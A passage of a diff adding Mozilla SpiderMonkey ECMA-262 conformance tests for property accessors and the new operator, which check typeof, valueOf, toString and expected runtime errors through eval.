+PROPERTY[p++] = new Property( "String", "fromCharCode", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "toString", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "constructor", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "valueOf", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "charAt", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "charCodeAt", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "indexOf", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "lastIndexOf", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "split", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "substring", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "toLowerCase", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "toUpperCase", "function" );
+PROPERTY[p++] = new Property( "String.prototype", "length", "number" );
+
+// properties of the Boolean object
+PROPERTY[p++] = new Property( "Boolean", "prototype", "object" );
+PROPERTY[p++] = new Property( "Boolean", "constructor", "function" );
+PROPERTY[p++] = new Property( "Boolean.prototype", "valueOf", "function" );
+PROPERTY[p++] = new Property( "Boolean.prototype", "toString", "function" );
+
+// properties of the Number object
+
+PROPERTY[p++] = new Property( "Number", "MAX_VALUE", "number" );
+PROPERTY[p++] = new Property( "Number", "MIN_VALUE", "number" );
+PROPERTY[p++] = new Property( "Number", "NaN", "number" );
+PROPERTY[p++] = new Property( "Number", "NEGATIVE_INFINITY", "number" );
+PROPERTY[p++] = new Property( "Number", "POSITIVE_INFINITY", "number" );
+PROPERTY[p++] = new Property( "Number.prototype", "toString", "function" );
+PROPERTY[p++] = new Property( "Number.prototype", "constructor", "function" );
+PROPERTY[p++] = new Property( "Number.prototype", "valueOf", "function" );
+
+// properties of the Math Object.
+PROPERTY[p++] = new Property( "Math", "E", "number" );
+PROPERTY[p++] = new Property( "Math", "LN10", "number" );
+PROPERTY[p++] = new Property( "Math", "LN2", "number" );
+PROPERTY[p++] = new Property( "Math", "LOG2E", "number" );
+PROPERTY[p++] = new Property( "Math", "LOG10E", "number" );
+PROPERTY[p++] = new Property( "Math", "PI", "number" );
+PROPERTY[p++] = new Property( "Math", "SQRT1_2", "number" );
+PROPERTY[p++] = new Property( "Math", "SQRT2", "number" );
+PROPERTY[p++] = new Property( "Math", "abs", "function" );
+PROPERTY[p++] = new Property( "Math", "acos", "function" );
+PROPERTY[p++] = new Property( "Math", "asin", "function" );
+PROPERTY[p++] = new Property( "Math", "atan", "function" );
+PROPERTY[p++] = new Property( "Math", "atan2", "function" );
+PROPERTY[p++] = new Property( "Math", "ceil", "function" );
+PROPERTY[p++] = new Property( "Math", "cos", "function" );
+PROPERTY[p++] = new Property( "Math", "exp", "function" );
+PROPERTY[p++] = new Property( "Math", "floor", "function" );
+PROPERTY[p++] = new Property( "Math", "log", "function" );
+PROPERTY[p++] = new Property( "Math", "max", "function" );
+PROPERTY[p++] = new Property( "Math", "min", "function" );
+PROPERTY[p++] = new Property( "Math", "pow", "function" );
+PROPERTY[p++] = new Property( "Math", "random", "function" );
+PROPERTY[p++] = new Property( "Math", "round", "function" );
+PROPERTY[p++] = new Property( "Math", "sin", "function" );
+PROPERTY[p++] = new Property( "Math", "sqrt", "function" );
+PROPERTY[p++] = new Property( "Math", "tan", "function" );
+
+// properties of the Date object
+PROPERTY[p++] = new Property( "Date", "parse", "function" );
+PROPERTY[p++] = new Property( "Date", "prototype", "object" );
+PROPERTY[p++] = new Property( "Date", "UTC", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "constructor", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "toString", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "valueOf", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getTime", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getYear", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getFullYear", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getUTCFullYear", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getMonth", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getUTCMonth", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getDate", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getUTCDate", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getDay", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getUTCDay", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getHours", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getUTCHours", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getMinutes", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getUTCMinutes", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getSeconds", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getUTCSeconds", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getMilliseconds","function" );
+PROPERTY[p++] = new Property( "Date.prototype", "getUTCMilliseconds", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setTime", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setMilliseconds","function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setUTCMilliseconds", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setSeconds", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setUTCSeconds", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setMinutes", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setUTCMinutes", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setHours", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setUTCHours", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setDate", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setUTCDate", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setMonth", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setUTCMonth", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setFullYear", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setUTCFullYear", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "setYear", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "toLocaleString", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "toUTCString", "function" );
+PROPERTY[p++] = new Property( "Date.prototype", "toGMTString", "function" );
+
+for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) {
+ RESULT = eval("typeof " + PROPERTY[i].object + "." + PROPERTY[i].name );
+
+ new TestCase( SECTION,
+ "typeof " + PROPERTY[i].object + "." + PROPERTY[i].name,
+ PROPERTY[i].type,
+ RESULT );
+
+ RESULT = eval("typeof " + PROPERTY[i].object + "['" + PROPERTY[i].name +"']");
+
+ new TestCase( SECTION,
+ "typeof " + PROPERTY[i].object + "['" + PROPERTY[i].name +"']",
+ PROPERTY[i].type,
+ RESULT );
+}
+
+test();
+
+function MyObject( arg0, arg1, arg2, arg3, arg4 ) {
+ this.name = arg0;
+}
+function Property( object, name, type ) {
+ this.object = object;
+ this.name = name;
+ this.type = type;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.1-2.js b/js/src/tests/ecma/Expressions/11.2.1-2.js
new file mode 100644
index 000000000..c37831d79
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.1-2.js
@@ -0,0 +1,94 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.1-2.js
+ ECMA Section: 11.2.1 Property Accessors
+ Description:
+
+ Properties are accessed by name, using either the dot notation:
+ MemberExpression . Identifier
+ CallExpression . Identifier
+
+ or the bracket notation: MemberExpression [ Expression ]
+ CallExpression [ Expression ]
+
+ The dot notation is explained by the following syntactic conversion:
+ MemberExpression . Identifier
+ is identical in its behavior to
+ MemberExpression [ <identifier-string> ]
+ and similarly
+ CallExpression . Identifier
+ is identical in its behavior to
+ CallExpression [ <identifier-string> ]
+ where <identifier-string> is a string literal containing the same sequence
+ of characters as the Identifier.
+
+ The production MemberExpression : MemberExpression [ Expression ] is
+ evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Expression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToObject(Result(2)).
+ 6. Call ToString(Result(4)).
+ 7. Return a value of type Reference whose base object is Result(5) and
+ whose property name is Result(6).
+
+ The production CallExpression : CallExpression [ Expression ] is evaluated
+ in exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.2.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Property Accessors";
+writeHeaderToLog( SECTION + " "+TITLE );
+
+// go through all Native Function objects, methods, and properties and get their typeof.
+
+var PROPERTY = new Array();
+var p = 0;
+
+// try to access properties of primitive types
+
+PROPERTY[p++] = new Property( "\"hi\"", "hi", "hi", NaN );
+PROPERTY[p++] = new Property( NaN, NaN, "NaN", NaN );
+// PROPERTY[p++] = new Property( 3, 3, "3", 3 );
+PROPERTY[p++] = new Property( true, true, "true", 1 );
+PROPERTY[p++] = new Property( false, false, "false", 0 );
+
+for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) {
+ new TestCase( SECTION,
+ PROPERTY[i].object + ".valueOf()",
+ PROPERTY[i].value,
+ eval( PROPERTY[i].object+ ".valueOf()" ) );
+
+ new TestCase( SECTION,
+ PROPERTY[i].object + ".toString()",
+ PROPERTY[i].string,
+ eval( PROPERTY[i].object+ ".toString()" ) );
+
+}
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.stringValue = value +"";
+ this.numberValue = Number(value);
+ return this;
+}
+function Property( object, value, string, number ) {
+ this.object = object;
+ this.string = String(value);
+ this.number = Number(value);
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.1-3-n.js b/js/src/tests/ecma/Expressions/11.2.1-3-n.js
new file mode 100644
index 000000000..3e50e3105
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.1-3-n.js
@@ -0,0 +1,94 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.1-2.js
+ ECMA Section: 11.2.1 Property Accessors
+ Description:
+
+ Properties are accessed by name, using either the dot notation:
+ MemberExpression . Identifier
+ CallExpression . Identifier
+
+ or the bracket notation: MemberExpression [ Expression ]
+ CallExpression [ Expression ]
+
+ The dot notation is explained by the following syntactic conversion:
+ MemberExpression . Identifier
+ is identical in its behavior to
+ MemberExpression [ <identifier-string> ]
+ and similarly
+ CallExpression . Identifier
+ is identical in its behavior to
+ CallExpression [ <identifier-string> ]
+ where <identifier-string> is a string literal containing the same sequence
+ of characters as the Identifier.
+
+ The production MemberExpression : MemberExpression [ Expression ] is
+ evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Expression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToObject(Result(2)).
+ 6. Call ToString(Result(4)).
+ 7. Return a value of type Reference whose base object is Result(5) and
+ whose property name is Result(6).
+
+ The production CallExpression : CallExpression [ Expression ] is evaluated
+ in exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.2.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Property Accessors";
+writeHeaderToLog( SECTION + " "+TITLE );
+
+// go through all Native Function objects, methods, and properties and get their typeof.
+
+var PROPERTY = new Array();
+var p = 0;
+
+// try to access properties of primitive types
+
+PROPERTY[p++] = new Property( "undefined", void 0, "undefined", NaN );
+
+for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) {
+
+ DESCRIPTION = PROPERTY[i].object + ".valueOf()";
+ EXPECTED = "error";
+
+ new TestCase( SECTION,
+ PROPERTY[i].object + ".valueOf()",
+ PROPERTY[i].value,
+ eval( PROPERTY[i].object+ ".valueOf()" ) );
+
+ new TestCase( SECTION,
+ PROPERTY[i].object + ".toString()",
+ PROPERTY[i].string,
+ eval(PROPERTY[i].object+ ".toString()") );
+}
+test();
+
+
+function MyObject( value ) {
+ this.value = value;
+ this.stringValue = value +"";
+ this.numberValue = Number(value);
+ return this;
+}
+
+function Property( object, value, string, number ) {
+ this.object = object;
+ this.string = String(value);
+ this.number = Number(value);
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.1-4-n.js b/js/src/tests/ecma/Expressions/11.2.1-4-n.js
new file mode 100644
index 000000000..173addbce
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.1-4-n.js
@@ -0,0 +1,94 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.1-4-n.js
+ ECMA Section: 11.2.1 Property Accessors
+ Description:
+
+ Properties are accessed by name, using either the dot notation:
+ MemberExpression . Identifier
+ CallExpression . Identifier
+
+ or the bracket notation: MemberExpression [ Expression ]
+ CallExpression [ Expression ]
+
+ The dot notation is explained by the following syntactic conversion:
+ MemberExpression . Identifier
+ is identical in its behavior to
+ MemberExpression [ <identifier-string> ]
+ and similarly
+ CallExpression . Identifier
+ is identical in its behavior to
+ CallExpression [ <identifier-string> ]
+ where <identifier-string> is a string literal containing the same sequence
+ of characters as the Identifier.
+
+ The production MemberExpression : MemberExpression [ Expression ] is
+ evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Expression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToObject(Result(2)).
+ 6. Call ToString(Result(4)).
+ 7. Return a value of type Reference whose base object is Result(5) and
+ whose property name is Result(6).
+
+ The production CallExpression : CallExpression [ Expression ] is evaluated
+ in exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.2.1-4-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Property Accessors";
+writeHeaderToLog( SECTION + " "+TITLE );
+
+// go through all Native Function objects, methods, and properties and get their typeof.
+
+var PROPERTY = new Array();
+var p = 0;
+
+// try to access properties of primitive types
+
+PROPERTY[p++] = new Property( "null", null, "null", 0 );
+
+for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) {
+
+ DESCRIPTION = PROPERTY[i].object + ".valueOf()";
+ EXPECTED = "error";
+
+ new TestCase( SECTION,
+ PROPERTY[i].object + ".valueOf()",
+ PROPERTY[i].value,
+ eval( PROPERTY[i].object+ ".valueOf()" ) );
+
+ new TestCase( SECTION,
+ PROPERTY[i].object + ".toString()",
+ PROPERTY[i].string,
+ eval(PROPERTY[i].object+ ".toString()") );
+
+}
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.stringValue = value +"";
+ this.numberValue = Number(value);
+ return this;
+}
+function Property( object, value, string, number ) {
+ this.object = object;
+ this.string = String(value);
+ this.number = Number(value);
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.1-5.js b/js/src/tests/ecma/Expressions/11.2.1-5.js
new file mode 100644
index 000000000..22750b041
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.1-5.js
@@ -0,0 +1,94 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.1-5.js
+ ECMA Section: 11.2.1 Property Accessors
+ Description:
+
+ Properties are accessed by name, using either the dot notation:
+ MemberExpression . Identifier
+ CallExpression . Identifier
+
+ or the bracket notation: MemberExpression [ Expression ]
+ CallExpression [ Expression ]
+
+ The dot notation is explained by the following syntactic conversion:
+ MemberExpression . Identifier
+ is identical in its behavior to
+ MemberExpression [ <identifier-string> ]
+ and similarly
+ CallExpression . Identifier
+ is identical in its behavior to
+ CallExpression [ <identifier-string> ]
+ where <identifier-string> is a string literal containing the same sequence
+ of characters as the Identifier.
+
+ The production MemberExpression : MemberExpression [ Expression ] is
+ evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Expression.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToObject(Result(2)).
+ 6. Call ToString(Result(4)).
+ 7. Return a value of type Reference whose base object is Result(5) and
+ whose property name is Result(6).
+
+ The production CallExpression : CallExpression [ Expression ] is evaluated
+ in exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.2.1-5";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Property Accessors";
+writeHeaderToLog( SECTION + " "+TITLE );
+
+// go through all Native Function objects, methods, and properties and get their typeof.
+
+var PROPERTY = new Array();
+var p = 0;
+
+// try to access properties of primitive types
+
+PROPERTY[p++] = new Property( new String("hi"), "hi", "hi", NaN );
+PROPERTY[p++] = new Property( new Number(NaN), NaN, "NaN", NaN );
+PROPERTY[p++] = new Property( new Number(3), 3, "3", 3 );
+PROPERTY[p++] = new Property( new Boolean(true), true, "true", 1 );
+PROPERTY[p++] = new Property( new Boolean(false), false, "false", 0 );
+
+for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) {
+ new TestCase( SECTION,
+ PROPERTY[i].object + ".valueOf()",
+ PROPERTY[i].value,
+ eval( "PROPERTY[i].object.valueOf()" ) );
+
+ new TestCase( SECTION,
+ PROPERTY[i].object + ".toString()",
+ PROPERTY[i].string,
+ eval( "PROPERTY[i].object.toString()" ) );
+
+}
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.stringValue = value +"";
+ this.numberValue = Number(value);
+ return this;
+}
+function Property( object, value, string, number ) {
+ this.object = object;
+ this.string = String(value);
+ this.number = Number(value);
+ this.value = value;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.2-1-n.js b/js/src/tests/ecma/Expressions/11.2.2-1-n.js
new file mode 100644
index 000000000..6b7f18358
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-1-n.js
@@ -0,0 +1,70 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-1.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-1-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var OBJECT = new Object();
+
+DESCRIPTION = "OBJECT = new Object; var o = new OBJECT()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "OBJECT = new Object; var o = new OBJECT()",
+ "error",
+ eval("o = new OBJECT()") );
+test();
+
+function TestFunction() {
+ return arguments;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.2-1.js b/js/src/tests/ecma/Expressions/11.2.2-1.js
new file mode 100644
index 000000000..3be78b50f
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-1.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-1.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "(new TestFunction(0,1,2,3,4,5)).length",
+ 6,
+ (new TestFunction(0,1,2,3,4,5)).length );
+
+test();
+
+function TestFunction() {
+ return arguments;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.2-10-n.js b/js/src/tests/ecma/Expressions/11.2.2-10-n.js
new file mode 100644
index 000000000..1a2ac973b
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-10-n.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-9-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-9-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var m = new Math()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var m = new Math()",
+ "error",
+ eval("m = new Math()") );
+test();
+
+function TestFunction() {
+ return arguments;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.2-11.js b/js/src/tests/ecma/Expressions/11.2.2-11.js
new file mode 100644
index 000000000..258d7aca7
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-11.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-9-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-9-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var FUNCTION = new Function();
+
+new TestCase( SECTION,
+ "var FUNCTION = new Function(); f = new FUNCTION(); typeof f",
+ "object",
+ eval("var FUNCTION = new Function(); f = new FUNCTION(); typeof f") );
+
+new TestCase( SECTION,
+ "var FUNCTION = new Function('return this'); f = new FUNCTION(); typeof f",
+ "object",
+ eval("var FUNCTION = new Function('return this'); f = new FUNCTION(); typeof f") );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.2.2-2-n.js b/js/src/tests/ecma/Expressions/11.2.2-2-n.js
new file mode 100644
index 000000000..82512fcda
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-2-n.js
@@ -0,0 +1,70 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-2.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-2-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var UNDEFINED = void 0;
+
+DESCRIPTION = "UNDEFINED = void 0; var o = new UNDEFINED()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
